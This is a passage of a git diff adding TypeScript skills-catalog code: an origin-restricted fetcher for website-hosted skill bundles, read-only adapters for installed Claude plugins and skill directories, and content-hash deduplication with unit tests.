+ SKILL_IMPORT_MAX_FILE_BYTES,
+ SKILL_IMPORT_MAX_TOTAL_BYTES,
+} from '../import-limits.ts';
+import { SkillFetchError } from './errors.ts';
+
+const INDEX_CANDIDATES = [
+ '/.well-known/agent-skills/index.json',
+ '/.well-known/skills/index.json',
+] as const;
+const MAX_INDEX_BYTES = 1024 * 1024;
+/** Concurrent file downloads within ONE website skill bundle. */
+const SITE_FILE_CONCURRENCY = 8;
+
+export interface WellKnownSourceSpec {
+ readonly kind: 'well-known';
+ readonly origin: string;
+ readonly skill: string;
+}
+
+interface LegacySkillEntry {
+ readonly name: string;
+ readonly description: string;
+ readonly files: readonly string[];
+}
+
+/** A website's parsed skill index — its base path plus every declared skill. */
+export interface WellKnownIndex {
+ readonly basePath: string;
+ readonly skills: readonly LegacySkillEntry[];
+}
+
+export interface WellKnownFetchOptions {
+ readonly fetchImpl?: typeof fetch;
+ readonly timeoutMs?: number;
+ /**
+ * An index already read for this origin. Fetching N skills from one site
+ * otherwise re-reads (and re-probes both candidate paths for) the same index
+ * once per skill. Callers that already hold it — a bulk import over one
+ * origin — pass it here; everyone else keeps the single-fetch behavior.
+ */
+ readonly index?: WellKnownIndex;
+}
+
+export interface FetchedWellKnownSkill {
+ readonly dir: string;
+ readonly cleanup: () => void;
+}
+
+export interface WellKnownSkillSummary {
+ readonly name: string;
+ readonly description: string;
+}
+
+/** Redirect hops allowed before a website-skill fetch gives up. */
+const MAX_REDIRECTS = 5;
+
+/**
+ * Fetch, following redirects ourselves so every hop is re-checked.
+ *
+ * The origin gate only ever saw the FIRST url. `fetch` follows redirects on its
+ * own, so an https origin could bounce the request to http, to another host, or
+ * to a link-local address, and the gate would never see it — the check passed
+ * while the request went somewhere else entirely.
+ *
+ * Each hop must stay https and on the origin the caller validated. Anything
+ * else is refused rather than followed.
+ */
+async function fetchWithinOrigin(
+ fetchImpl: typeof fetch,
+ url: string,
+ origin: string,
+ init: RequestInit,
+): Promise<Response> {
+ let current = url;
+ for (let hop = 0; hop <= MAX_REDIRECTS; hop++) {
+ const response = await fetchImpl(current, { ...init, redirect: 'manual' });
+ if (response.status < 300 || response.status >= 400) return response;
+
+ const location = response.headers.get('location');
+ if (location === null || location === '') {
+ throw new SkillFetchError(`Website skill redirect carried no location: ${current}`);
+ }
+ let next: URL;
+ try {
+ next = new URL(location, current);
+ } catch {
+ throw new SkillFetchError(`Website skill redirect target is not a URL: ${location}`);
+ }
+ if (next.protocol !== 'https:' || next.origin !== origin) {
+ throw new SkillFetchError(`Website skill redirect left the origin (${origin}): ${next.href}`);
+ }
+ current = next.href;
+ }
+ throw new SkillFetchError(`Website skill fetch exceeded ${MAX_REDIRECTS} redirects: ${url}`);
+}
+
+function normalizedOrigin(raw: string): string {
+ let url: URL;
+ try {
+ url = new URL(raw);
+ } catch {
+ throw new SkillFetchError(`Invalid website skill origin: ${raw}`);
+ }
+ if (url.protocol !== 'https:' || url.username || url.password) {
+ throw new SkillFetchError(`Website skill origins must be credential-free HTTPS URLs: ${raw}`);
+ }
+ if (url.pathname !== '/' || url.search || url.hash) {
+ throw new SkillFetchError(
+ `Website skill origins cannot include a path, query, or fragment: ${raw}`,
+ );
+ }
+ return url.origin;
+}
+
+function validPath(path: string): boolean {
+ if (!path || path.includes('\\') || path.includes('\0') || path.startsWith('/')) return false;
+ return path.split('/').every((part) => part !== '' && part !== '.' && part !== '..');
+}
+
+function parseLegacyIndex(value: unknown): LegacySkillEntry[] | null {
+ if (!value || typeof value !== 'object') return null;
+ const skills = (value as { skills?: unknown }).skills;
+ if (!Array.isArray(skills)) return null;
+
+ const parsed: LegacySkillEntry[] = [];
+ for (const candidate of skills) {
+ if (!candidate || typeof candidate !== 'object') return null;
+ const { name, description, files } = candidate as Record<string, unknown>;
+ if (
+ typeof name !== 'string' ||
+ !validPath(name) ||
+ name.includes('/') ||
+ (description !== undefined && typeof description !== 'string') ||
+ !Array.isArray(files) ||
+ files.length === 0 ||
+ files.length > SKILL_IMPORT_MAX_BUNDLE_FILES + 1 ||
+ !files.every((file): file is string => typeof file === 'string' && validPath(file)) ||
+ new Set(files).size !== files.length ||
+ !files.includes('SKILL.md')
+ ) {
+ return null;
+ }
+ parsed.push({ name, description: description ?? '', files });
+ }
+ return parsed;
+}
+
+function childUrl(origin: string, basePath: string, skill: string, file: string): string {
+ const path = [skill, ...file.split('/')].map(encodeURIComponent).join('/');
+ return new URL(`${basePath}/${path}`, origin).href;
+}
+
+async function readIndex(
+ origin: string,
+ fetchImpl: typeof fetch,
+ timeoutMs: number,
+): Promise<{ basePath: string; skills: LegacySkillEntry[] }> {
+ const failures: string[] = [];
+ for (const indexPath of INDEX_CANDIDATES) {
+ const indexUrl = new URL(indexPath, origin).href;
+ try {
+ const response = await fetchWithinOrigin(fetchImpl, indexUrl, origin, {
+ signal: AbortSignal.timeout(timeoutMs),
+ });
+ if (!response.ok) {
+ failures.push(`${indexPath}: HTTP ${response.status}`);
+ continue;
+ }
+ const raw = await response.text();
+ if (Buffer.byteLength(raw) > MAX_INDEX_BYTES) {
+ failures.push(`${indexPath}: index exceeds ${MAX_INDEX_BYTES} bytes`);
+ continue;
+ }
+ let value: unknown;
+ try {
+ value = JSON.parse(raw);
+ } catch {
+ failures.push(`${indexPath}: response is not JSON`);
+ continue;
+ }
+ const skills = parseLegacyIndex(value);
+ if (!skills) {
+ failures.push(`${indexPath}: unsupported or malformed index`);
+ continue;
+ }
+ return { basePath: indexPath.slice(0, -'/index.json'.length), skills };
+ } catch (error) {
+ failures.push(`${indexPath}: ${error instanceof Error ? error.message : String(error)}`);
+ }
+ }
+ throw new SkillFetchError(`No usable website skill index at ${origin} (${failures.join('; ')})`);
+}
+
+/** Read website skill metadata without downloading any bundle files. */
+export async function discoverWellKnownSkills(
+ rawOrigin: string,
+ opts: WellKnownFetchOptions = {},
+): Promise<WellKnownSkillSummary[]> {
+ const { skills } = opts.index ?? (await readWellKnownIndex(rawOrigin, opts));
+ return skills.map(({ name, description }) => ({ name, description }));
+}
+
+/**
+ * Read a website's skill index once, for a caller about to fetch SEVERAL skills
+ * from that origin — pass the result back as `opts.index` so each fetch skips
+ * its own index round trip.
+ */
+export async function readWellKnownIndex(
+ rawOrigin: string,
+ opts: WellKnownFetchOptions = {},
+): Promise<WellKnownIndex> {
+ const origin = normalizedOrigin(rawOrigin);
+ const fetchImpl = opts.fetchImpl ?? globalThis.fetch;
+ if (!fetchImpl) throw new SkillFetchError('No fetch implementation available.');
+ return readIndex(origin, fetchImpl, opts.timeoutMs ?? 15_000);
+}
+
+/**
+ * Fetch one legacy well-known skill bundle and materialize every declared file
+ * into a temporary skill directory consumed by the normal acquisition parser.
+ */
+export async function fetchWellKnownSkill(
+ spec: WellKnownSourceSpec,
+ opts: WellKnownFetchOptions = {},
+): Promise<FetchedWellKnownSkill> {
+ if (!validPath(spec.skill) || spec.skill.includes('/')) {
+ throw new SkillFetchError(`Invalid website skill name: ${spec.skill}`);
+ }
+ const origin = normalizedOrigin(spec.origin);
+ const fetchImpl = opts.fetchImpl ?? globalThis.fetch;
+ if (!fetchImpl) throw new SkillFetchError('No fetch implementation available.');
+ const timeoutMs = opts.timeoutMs ?? 15_000;
+ const { basePath, skills } = opts.index ?? (await readIndex(origin, fetchImpl, timeoutMs));
+ const entry = skills.find((candidate) => candidate.name === spec.skill);
+ if (!entry) {
+ throw new SkillFetchError(`Website skill index does not contain ${spec.skill}`);
+ }
+
+ const tmp = mkdtempSync(join(tmpdir(), 'ok-skill-site-'));
+ const skillDir = join(tmp, entry.name);
+ let totalBytes = 0;
+ try {
+ // Files download CONCURRENTLY. A skill's bundle is routinely 20+ small
+ // reference files, and one-at-a-time made a single skill a 20-round-trip
+ // wait — the whole visible cost of installing from a website source. Bounded
+ // so a large bundle cannot open a connection per file against one host.
+ const pending = [...entry.files];
+ const fetchOne = async (file: string): Promise<void> => {
+ const url = childUrl(origin, basePath, entry.name, file);
+ const response = await fetchWithinOrigin(fetchImpl, url, origin, {
+ signal: AbortSignal.timeout(timeoutMs),
+ });
+ if (!response.ok) {
+ throw new SkillFetchError(`Website skill file returned HTTP ${response.status}: ${file}`);
+ }
+ const declaredLength = Number(response.headers.get('content-length'));
+ if (Number.isFinite(declaredLength) && declaredLength > SKILL_IMPORT_MAX_FILE_BYTES) {
+ throw new SkillFetchError(
+ `Website skill file exceeds ${SKILL_IMPORT_MAX_FILE_BYTES} bytes: ${file}`,
+ );
+ }
+ const bytes = new Uint8Array(await response.arrayBuffer());
+ if (bytes.byteLength > SKILL_IMPORT_MAX_FILE_BYTES) {
+ throw new SkillFetchError(
+ `Website skill file exceeds ${SKILL_IMPORT_MAX_FILE_BYTES} bytes: ${file}`,
+ );
+ }
+ // The running total is still exact — single-threaded, and each worker adds
+ // its whole file before yielding. Concurrency only means the breach is
+ // noticed with up to WORKERS-1 other files already counted, which is why
+ // the per-file cap above is the real bound on what one response can add.
+ totalBytes += bytes.byteLength;
+ if (totalBytes > SKILL_IMPORT_MAX_TOTAL_BYTES) {
+ throw new SkillFetchError(
+ `Website skill bundle exceeds ${SKILL_IMPORT_MAX_TOTAL_BYTES} bytes.`,
+ );
+ }
+ const destination = join(skillDir, ...file.split('/'));
+ mkdirSync(dirname(destination), { recursive: true });
+ writeFileSync(destination, bytes);
+ };
+ const worker = async (): Promise<void> => {
+ for (let file = pending.shift(); file !== undefined; file = pending.shift()) {
+ await fetchOne(file);
+ }
+ };
+ // `Promise.all` rejects on the first failure while the other workers run to
+ // completion; the catch below removes the temp dir either way, so a partial
+ // bundle is never returned.
+ await Promise.all(
+ Array.from({ length: Math.min(SITE_FILE_CONCURRENCY, pending.length) }, worker),
+ );
+ return { dir: skillDir, cleanup: () => rmSync(tmp, { recursive: true, force: true }) };
+ } catch (error) {
+ rmSync(tmp, { recursive: true, force: true });
+ if (error instanceof SkillFetchError) throw error;
+ throw new SkillFetchError(
+ `Could not fetch website skill ${spec.skill}: ${error instanceof Error ? error.message : String(error)}`,
+ );
+ }
+}
diff --git a/packages/core/src/skills-catalog/adapters/claude-plugins.ts b/packages/core/src/skills-catalog/adapters/claude-plugins.ts
new file mode 100644
index 000000000..e9a16e9a0
--- /dev/null
+++ b/packages/core/src/skills-catalog/adapters/claude-plugins.ts
@@ -0,0 +1,130 @@
+/**
+ * Claude plugin adapter — the one provenance-carrying harness source.
+ *
+ * Source of truth is `installed_plugins.json` (version 2), NOT a `cache/**`
+ * glob: the cache holds GC'd duplicate versions; the manifest names the ACTIVE
+ * one and carries provenance (version, gitCommitSha, scope, marketplace). For
+ * each `<plugin>@<marketplace>` key, entries are per `(scope, projectPath)`
+ * install site; we pick the newest `lastUpdated` per site and skip any entry
+ * that is `.orphaned_at` or missing its `installPath`.
+ *
+ * Read-only. The Claude plugin cache is the ONE store OK must never write —
+ * this only reads it.
+ */
+
+import { existsSync, readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import type { SkillProvenance } from '../schema.ts';
+import {
+ detectInert,
+ type RawSkill,
+ readSkillDir,
+ type SkillBundle,
+ skillDirNames,
+} from './shared.ts';
+
+/** Split a `<plugin>@<marketplace>` key; marketplace omitted → undefined. */
+function splitPluginKey(key: string): { plugin: string; marketplace?: string } {
+ const at = key.lastIndexOf('@');
+ if (at <= 0) return { plugin: key };
+ return { plugin: key.slice(0, at), marketplace: key.slice(at + 1) };
+}
+
+interface PluginEntry {
+ scope?: string;
+ projectPath?: string;
+ installPath?: string;
+ version?: string;
+ gitCommitSha?: string;
+ lastUpdated?: string;
+ orphaned_at?: string;
+}
+
+/** Pick the active entry per `(scope, projectPath)`: newest `lastUpdated`, never orphaned. */
+function activeEntries(entries: PluginEntry[]): PluginEntry[] {
+ const bySite = new Map<string, PluginEntry>();
+ for (const e of entries) {
+ if (e.orphaned_at || !e.installPath || !existsSync(e.installPath)) continue;
+ const site = `${e.scope ?? ''} ${e.projectPath ?? ''}`;
+ const cur = bySite.get(site);
+ if (!cur || (e.lastUpdated ?? '') > (cur.lastUpdated ?? '')) bySite.set(site, e);
+ }
+ return [...bySite.values()];
+}
+
+/** Read `<installPath>/.claude-plugin/plugin.json`; `{}` on absence/parse error. */
+function readPluginJson(installPath: string): {
+ description?: string;
+ version?: string;
+ author?: { name?: string };
+} {
+ const p = join(installPath, '.claude-plugin', 'plugin.json');
+ try {
+ const json = JSON.parse(readFileSync(p, 'utf-8'));
+ return json && typeof json === 'object' ? json : {};
+ } catch {
+ return {};
+ }
+}
+
+/**
+ * Enumerate installed Claude plugins as skill bundles. `pluginsDir` is the
+ * `~/.claude/plugins` directory. Returns `[]` when `installed_plugins.json` is
+ * absent or malformed.
+ */
+export function enumerateClaudePlugins(pluginsDir: string, harness: string): SkillBundle[] {
+ const manifestPath = join(pluginsDir, 'installed_plugins.json');
+ if (!existsSync(manifestPath)) return [];
+ let manifest: { plugins?: Record<string, PluginEntry[]> };
+ try {
+ manifest = JSON.parse(readFileSync(manifestPath, 'utf-8'));
+ } catch (err) {
+ // A malformed manifest (e.g. a partial write mid-Claude-upgrade) erases
+ // every provenance-carrying skill; log so that's distinguishable from "none".
+ console.warn(
+ '[skills-catalog] failed to parse installed_plugins.json, skipping Claude plugins',
+ { manifestPath, err },
+ );
+ return [];
+ }
+ const plugins = manifest?.plugins;
+ if (!plugins || typeof plugins !== 'object') return [];
+
+ const bundles: SkillBundle[] = [];
+ for (const [key, entries] of Object.entries(plugins)) {
+ if (!Array.isArray(entries)) continue;
+ const { plugin, marketplace } = splitPluginKey(key);
+ for (const entry of activeEntries(entries)) {
+ const installPath = entry.installPath as string;
+ const inert = detectInert(installPath);
+ const meta = readPluginJson(installPath);
+ const skillsRoot = join(installPath, 'skills');
+ const skills: RawSkill[] = [];
+ for (const name of skillDirNames(skillsRoot)) {
+ const provenance: SkillProvenance = {
+ plugin,
+ ...(marketplace ? { marketplace } : {}),
+ ...(entry.version ? { version: entry.version } : {}),
+ ...(entry.gitCommitSha ? { gitCommitSha: entry.gitCommitSha } : {}),
+ ...(entry.scope ? { scope: entry.scope } : {}),
+ // The project a `project`-scoped install is bound to — the catalog is
+ // machine-global, so this is how a detected skill is attributed to the
+ // project that installed it (project-locality; see core `scope.ts`).
+ ...(entry.projectPath ? { projectPath: entry.projectPath } : {}),
+ };
+ const skill = readSkillDir(join(skillsRoot, name), harness, provenance, inert);
+ if (skill) skills.push(skill);
+ }
+ if (skills.length === 0) continue;
+ bundles.push({
+ packName: plugin,
+ packVersion: entry.version ?? meta.version ?? '0.0.0',
+ ...(typeof meta.description === 'string' ? { packDescription: meta.description } : {}),
+ ...(typeof meta.author?.name === 'string' ? { packAuthor: meta.author.name } : {}),
+ harness,
+ skills,
+ });
+ }
+ }
+ return bundles;
+}
diff --git a/packages/core/src/skills-catalog/adapters/shared.ts b/packages/core/src/skills-catalog/adapters/shared.ts
new file mode 100644
index 000000000..3c4e29b94
--- /dev/null
+++ b/packages/core/src/skills-catalog/adapters/shared.ts
@@ -0,0 +1,118 @@
+/**
+ * Shared adapter primitives: the intermediate bundle/skill shapes both
+ * adapters emit, the single SKILL.md reader, and the inert-capability probe.
+ *
+ * Read-only: every fs call here is a read. A malformed SKILL.md never throws —
+ * frontmatter that fails to parse falls back to the directory name so one bad
+ * skill is degraded, not fatal (the enumerator skips/degrades, never aborts).
+ */
+
+import { existsSync, readdirSync, readFileSync, statSync } from 'node:fs';
+import { basename, join } from 'node:path';
+import { readSkillManifestMeta } from '../manifest-meta.ts';
+import type { SkillInert, SkillProvenance } from '../schema.ts';
+
+/** A skill read from disk, pre-normalization. */
+export interface RawSkill {
+ readonly name: string;
+ readonly description: string;
+ readonly home: string;
+ readonly harness: string;
+ readonly skillMd: string;
+ readonly scripts: string[];
+ readonly references: string[];
+ readonly provenance: SkillProvenance;
+ readonly inert: SkillInert;
+}
+
+/** A source bundle (one Claude plugin, or one bare skill-dir) and its skills. */
+export interface SkillBundle {
+ readonly packName: string;
+ readonly packVersion: string;
+ /** Plugin `description` where the source records one (bare dirs: undefined). */
+ readonly packDescription?: string;
+ /** Plugin `author.name` where recorded. */
+ readonly packAuthor?: string;
+ readonly harness: string;
+ readonly skills: RawSkill[];
+}
+
+/** Files under `dir` (recursive), absolute paths, files only. `[]` when absent. */
+function listFiles(dir: string): string[] {
+ if (!existsSync(dir)) return [];
+ try {
+ return readdirSync(dir, { recursive: true, withFileTypes: true })
+ .filter((e) => e.isFile())
+ .map((e) => join(e.parentPath, e.name))
+ .sort();
+ } catch {
+ return [];
+ }
+}
+
+/**
+ * Read one skill directory (`<dir>/SKILL.md` + optional `scripts/`/`references/`).
+ * Returns `null` when there is no `SKILL.md` (skip it). On malformed frontmatter
+ * the skill still returns, with `name` falling back to the dir name and an empty
+ * description — degrade-not-abort.
+ */
+export function readSkillDir(
+ dir: string,
+ harness: string,
+ provenance: SkillProvenance,
+ inert: SkillInert,
+): RawSkill | null {
+ const skillMd = join(dir, 'SKILL.md');
+ if (!existsSync(skillMd)) return null;
+ const dirName = basename(dir);
+ let name = dirName;
+ let description = '';
+ try {
+ ({ name, description } = readSkillManifestMeta(readFileSync(skillMd, 'utf-8'), dirName));
+ } catch {
+ // Unreadable SKILL.md → keep the dir-name fallback rather than abort.
+ }
+ return {
+ name,
+ description,
+ home: dir,
+ harness,
+ skillMd,
+ scripts: listFiles(join(dir, 'scripts')),
+ references: listFiles(join(dir, 'references')),
+ provenance,
+ inert,
+ };
+}
+
+/** Skill-dir names directly under `root` (each a candidate `<name>/SKILL.md`). */
+export function skillDirNames(root: string): string[] {
+ if (!existsSync(root)) return [];
+ try {
+ return readdirSync(root, { withFileTypes: true })
+ .filter((e) => e.isDirectory())
+ .map((e) => e.name)
+ .sort();
+ } catch {
+ return [];
+ }
+}
+
+/** Presence-only inert flags for a bundle root (`commands/`, `hooks/`, `.mcp.json`). */
+export function detectInert(bundleRoot: string): SkillInert {
+ const isDir = (p: string): boolean => {
+ try {
+ return statSync(p).isDirectory();
+ } catch {
+ return false;
+ }
+ };
+ return {
+ commands: isDir(join(bundleRoot, 'commands')),
+ hooks: isDir(join(bundleRoot, 'hooks')),
+ mcp: existsSync(join(bundleRoot, '.mcp.json')),
+ };
+}
+
+/** Inert flags with everything off — bare skill-dirs ship no capabilities. */
+export const NO_INERT: SkillInert = { commands: false, hooks: false, mcp: false };
diff --git a/packages/core/src/skills-catalog/adapters/skill-dir.ts b/packages/core/src/skills-catalog/adapters/skill-dir.ts
new file mode 100644
index 000000000..1db02bfbc
--- /dev/null
+++ b/packages/core/src/skills-catalog/adapters/skill-dir.ts
@@ -0,0 +1,23 @@
+/**
+ * Generic skill-dir adapter — `<home>/skills/<name>/SKILL.md` for every bare
+ * harness home (claude-personal, codex, cursor, opencode, agents). No
+ * provenance (the dir records none) and no inert capabilities. Each skill is
+ * its own one-skill bundle; the enumerator de-dupes same-named bundles across
+ * homes into a single Pack.
+ *
+ * Read-only.
+ */
+
+import { join } from 'node:path';
+import { NO_INERT, readSkillDir, type SkillBundle, skillDirNames } from './shared.ts';
+
+/** `skillsRoot` is the `<home>/skills` directory. Returns `[]` when absent. */
+export function enumerateSkillDir(skillsRoot: string, harness: string): SkillBundle[] {
+ const bundles: SkillBundle[] = [];
+ for (const name of skillDirNames(skillsRoot)) {
+ const skill = readSkillDir(join(skillsRoot, name), harness, {}, NO_INERT);
+ if (!skill) continue;
+ bundles.push({ packName: skill.name, packVersion: '0.0.0', harness, skills: [skill] });
+ }
+ return bundles;
+}
diff --git a/packages/core/src/skills-catalog/dedup.test.ts b/packages/core/src/skills-catalog/dedup.test.ts
new file mode 100644
index 000000000..f753ef7c4
--- /dev/null
+++ b/packages/core/src/skills-catalog/dedup.test.ts
@@ -0,0 +1,72 @@
+import { describe, expect, test } from 'vitest';
+import type { EditorId } from '../constants/editors.ts';
+import { groupSkillsByIdentity, type SkillOccurrence } from './dedup.ts';
+
+function occ(
+ name: string,
+ editor: EditorId,
+ contentHash: string,
+ scope: SkillOccurrence['scope'] = 'project',
+): SkillOccurrence {
+ return { name, scope, editor, contentHash };
+}
+
+describe('groupSkillsByIdentity', () => {
+ test('same name + same hash across editors collapses to one canonical + copies', () => {
+ const groups = groupSkillsByIdentity([
+ occ('foo', 'codex', 'h1'),
+ occ('foo', 'claude', 'h1'),
+ occ('foo', 'cursor', 'h1'),
+ ]);
+ expect(groups).toHaveLength(1);
+ // Precedence: claude wins over cursor/codex.
+ expect(groups[0]?.canonical.editor).toBe('claude');
+ expect(groups[0]?.copies.map((c) => c.editor).sort()).toEqual(['codex', 'cursor']);
+ expect(groups[0]?.isFork).toBe(false);
+ });
+
+ test('same name + DIFFERENT hash is a FORK — two groups, never merged (S1 guard)', () => {
+ const groups = groupSkillsByIdentity([occ('foo', 'claude', 'h1'), occ('foo', 'codex', 'h2')]);
+ expect(groups).toHaveLength(2);
+ expect(groups.every((g) => g.isFork)).toBe(true);
+ // Each fork keeps its own occurrence as canonical; no cross-copying.
+ const byHash = new Map(groups.map((g) => [g.contentHash, g]));
+ expect(byHash.get('h1')?.canonical.editor).toBe('claude');
+ expect(byHash.get('h1')?.copies).toHaveLength(0);
+ expect(byHash.get('h2')?.canonical.editor).toBe('codex');
+ expect(byHash.get('h2')?.copies).toHaveLength(0);
+ });
+
+ test('mixed: a deduped skill and an unrelated fork-pair coexist', () => {
+ const groups = groupSkillsByIdentity([
+ occ('shared', 'claude', 'a'),
+ occ('shared', 'codex', 'a'), // copy of shared
+ occ('forked', 'claude', 'x'),
+ occ('forked', 'cursor', 'y'), // fork of forked
+ ]);
+ const shared = groups.find((g) => g.name === 'shared');
+ expect(shared?.isFork).toBe(false);
+ expect(shared?.copies).toHaveLength(1);
+ expect(groups.filter((g) => g.name === 'forked').every((g) => g.isFork)).toBe(true);
+ });
+
+ test('precedence: opencode/pi/copilot lose to claude even when listed first', () => {
+ const groups = groupSkillsByIdentity([occ('foo', 'copilot', 'h'), occ('foo', 'claude', 'h')]);
+ expect(groups[0]?.canonical.editor).toBe('claude');
+ });
+
+ test('a project skill and a global skill with the same name never merge or fork', () => {
+ const groups = groupSkillsByIdentity([
+ occ('foo', 'claude', 'h', 'project'),
+ occ('foo', 'claude', 'h', 'global'),
+ ]);
+ expect(groups).toHaveLength(2);
+ // Same name, same hash, DIFFERENT scope → two independent identities, neither a fork.
+ expect(groups.every((g) => !g.isFork)).toBe(true);
+ expect(groups.map((g) => g.scope).sort()).toEqual(['global', 'project']);
+ });
+
+ test('empty input yields no groups', () => {
+ expect(groupSkillsByIdentity([])).toEqual([]);
+ });
+});
diff --git a/packages/core/src/skills-catalog/dedup.ts b/packages/core/src/skills-catalog/dedup.ts
new file mode 100644
index 000000000..a743fa374
--- /dev/null
+++ b/packages/core/src/skills-catalog/dedup.ts
@@ -0,0 +1,154 @@
+/**
+ * Content-hash identity dedup for in-place skills (identity + fork guard).
+ *
+ * A skill can appear in several editor dirs (`.claude/skills/foo`, `.codex/skills/foo`).
+ * Two questions must be answered WITHOUT ever merging skills that are only
+ * incidentally same-named:
+ * - Same (scope, name) AND same content → ONE skill, one tracked identity: a
+ * canonical (precedence winner) plus copies. This is what dedup collapses.
+ * - Same (scope, name) but DIFFERENT content → a FORK: two genuinely different
+ * skills that happen to share a name. NEVER auto-merged, NEVER auto-distributed
+ * over each other (the data-loss guard from design-review S1).
+ *
+ * Identity key is `(scope, name, contentHash)`, not `name` alone — a project `foo`
+ * and a global `foo` are different skills too. This module is the pure decision
+ * core; enumerate-time hashing + fan-out wiring consume it.
+ */
+
+import type { EditorId } from '../constants/editors.ts';
+import type { SkillScope } from '../schemas/api/tags-search.ts';
+
+/**
+ * A skill-dir host: an editor id, or `'agents'` for the vendor-neutral
+ * `.agents/skills` hub (a first-class in-place host with no `EditorId` of its
+ * own — spec R14).
+ */
+export type SkillHostId = EditorId | 'agents';
+
+/**
+ * Canonical-selection precedence. A reversible tiebreaker used ONLY to
+ * pick which host dir is the tracked canonical among SAME-hash copies of one
+ * skill — never to unify distinct-hash forks. Earlier = wins. `agents` leads:
+ * the vendor-neutral hub is the copy other hosts sync FROM, so among identical
+ * copies it is the natural source of truth.
+ */
+export const SKILL_CANONICAL_PRECEDENCE: readonly SkillHostId[] = [
+ 'agents',
+ 'claude',
+ 'cursor',
+ 'codex',
+ 'opencode',
+ 'pi',
+ 'copilot',
+];
+
+/** One on-disk skill occurrence, pre-hashed. */
+export interface SkillOccurrence {
+ /** Skill name (bundle dir basename). Slash-free and space-free by grammar. */
+ readonly name: string;
+ /** Project vs global — part of identity: a project `foo` and a global `foo` are
+ * DIFFERENT skills and must never dedup or fork against each other. */
+ readonly scope: SkillScope;
+ /** The host whose dir this occurrence lives in (editor, or the `.agents` hub). */
+ readonly editor: SkillHostId;
+ /** sha256 (or equivalent) over the bundle's content — the dedup identity. */
+ readonly contentHash: string;
+ /** User-chosen source (sticky relocation choice): wins canonical election
+ * over the static precedence order. */
+ readonly preferredSource?: boolean;
+ /** True when this occurrence is a SYMLINK on disk. A symlink can NEVER be
+ * elected canonical — the canonical must be a real directory (the movers
+ * rename/remove the canonical path, and renaming a link instead of the real
+ * folder is how a skill's last real copy dies). Overrides preferredSource. */
+ readonly viaLink?: boolean;
+}
+
+/** A deduplicated skill identity: one canonical + its same-content copies. */
+export interface SkillIdentityGroup<T extends SkillOccurrence = SkillOccurrence> {
+ readonly name: string;
+ readonly scope: SkillScope;
+ readonly contentHash: string;
+ /** The precedence-winning occurrence — the ONE tracked/versioned identity. */
+ readonly canonical: T;
+ /** Other occurrences with identical content — pure delivery copies. */
+ readonly copies: readonly T[];
+ /**
+ * True when another group shares this (scope, name) with a DIFFERENT hash — i.e.
+ * this skill has a same-named sibling that is NOT a copy of it. Both are real and
+ * both surface; fan-out must never distribute one over the other.
+ */
+ readonly isFork: boolean;
+}
+
+function precedenceRank(editor: SkillHostId): number {
+ const i = SKILL_CANONICAL_PRECEDENCE.indexOf(editor);
+ // Unlisted editors sort after listed ones, in a stable order by id.
+ return i === -1 ? SKILL_CANONICAL_PRECEDENCE.length : i;
+}
+
+/** Map/group key delimiter. `|` cannot appear in a name, scope, or hex hash. */
+const SEP = '|';
+
+/**
+ * Group occurrences into deduplicated skill identities. Same `(scope, name,
+ * contentHash)` collapses to one group (canonical by {@link SKILL_CANONICAL_PRECEDENCE},
+ * rest copies); same (scope, name) with different hashes yields SEPARATE groups,
+ * each flagged `isFork` so callers never auto-merge or cross-distribute them (S1).
+ */
+export function groupSkillsByIdentity<T extends SkillOccurrence>(
+ occurrences: readonly T[],
+): SkillIdentityGroup<T>[] {
+ const byKey = new Map<string, T[]>();
+ // Fork detection is per (scope, name): how many distinct hashes share it.
+ const hashesPerSkill = new Map<string, Set<string>>();
+
+ for (const occ of occurrences) {
+ const skillKey = `${occ.scope}${SEP}${occ.name}`;
+ const key = `${skillKey}${SEP}${occ.contentHash}`;
+ let members = byKey.get(key);
+ if (!members) {
+ members = [];
+ byKey.set(key, members);
+ }
+ members.push(occ);
+ let hashes = hashesPerSkill.get(skillKey);
+ if (!hashes) {
+ hashes = new Set();
+ hashesPerSkill.set(skillKey, hashes);
+ }
+ hashes.add(occ.contentHash);
+ }
+
+ const groups: SkillIdentityGroup<T>[] = [];
+ for (const members of byKey.values()) {
+ const sorted = [...members].sort((a, b) => {
+ // SAFETY FIRST: a real directory always beats a symlink — even a sticky
+ // user preference pointing at a link is ignored (electing a link as
+ // canonical lets the movers rename the link and orphan the real bytes).
+ const real = Number(a.viaLink === true) - Number(b.viaLink === true);
+ if (real !== 0) return real;
+ // A user-chosen source outranks static precedence (sticky relocation).
+ const p = Number(b.preferredSource === true) - Number(a.preferredSource === true);
+ if (p !== 0) return p;
+ const r = precedenceRank(a.editor) - precedenceRank(b.editor);
+ return r !== 0 ? r : a.editor.localeCompare(b.editor);
+ });
+ const canonical = sorted[0];
+ if (!canonical) continue; // unreachable: byKey values are non-empty by construction
+ groups.push({
+ name: canonical.name,
+ scope: canonical.scope,
+ contentHash: canonical.contentHash,
+ canonical,
+ copies: sorted.slice(1),
+ isFork: (hashesPerSkill.get(`${canonical.scope}${SEP}${canonical.name}`)?.size ?? 1) > 1,
+ });
+ }
+ // Stable output: by scope, name, then hash.
+ return groups.sort(
+ (a, b) =>
+ a.scope.localeCompare(b.scope) ||
+ a.name.localeCompare(b.name) ||
+ a.contentHash.localeCompare(b.contentHash),
+ );
+}
diff --git a/packages/core/src/skills-catalog/enumerate.test.ts b/packages/core/src/skills-catalog/enumerate.test.ts
new file mode 100644
index 000000000..c64298317
--- /dev/null
+++ b/packages/core/src/skills-catalog/enumerate.test.ts
@@ -0,0 +1,360 @@
+import { createHash } from 'node:crypto';
+import {
+ mkdirSync,
+ mkdtempSync,
+ readdirSync,
+ readFileSync,
+ rmSync,
+ symlinkSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { enumerateInstalledSkills } from './enumerate.ts';
+
+/** Write a SKILL.md (with optional frontmatter) at `<dir>/SKILL.md`, creating dirs. */
+function writeSkill(dir: string, frontmatter: string | null, body = 'Body.'): void {
+ mkdirSync(dir, { recursive: true });
+ const content = frontmatter === null ? body : `---\n${frontmatter}\n---\n\n${body}\n`;
+ writeFileSync(join(dir, 'SKILL.md'), content, 'utf-8');
+}
+
+/** Recursive content hash of every file under `root` — the read-only proof. */
+function hashTree(root: string): string {
+ const h = createHash('sha256');
+ const walk = (dir: string): void => {
+ for (const e of readdirSync(dir, { withFileTypes: true }).sort((a, b) =>
+ a.name.localeCompare(b.name),
+ )) {
+ const p = join(dir, e.name);
+ if (e.isDirectory()) walk(p);
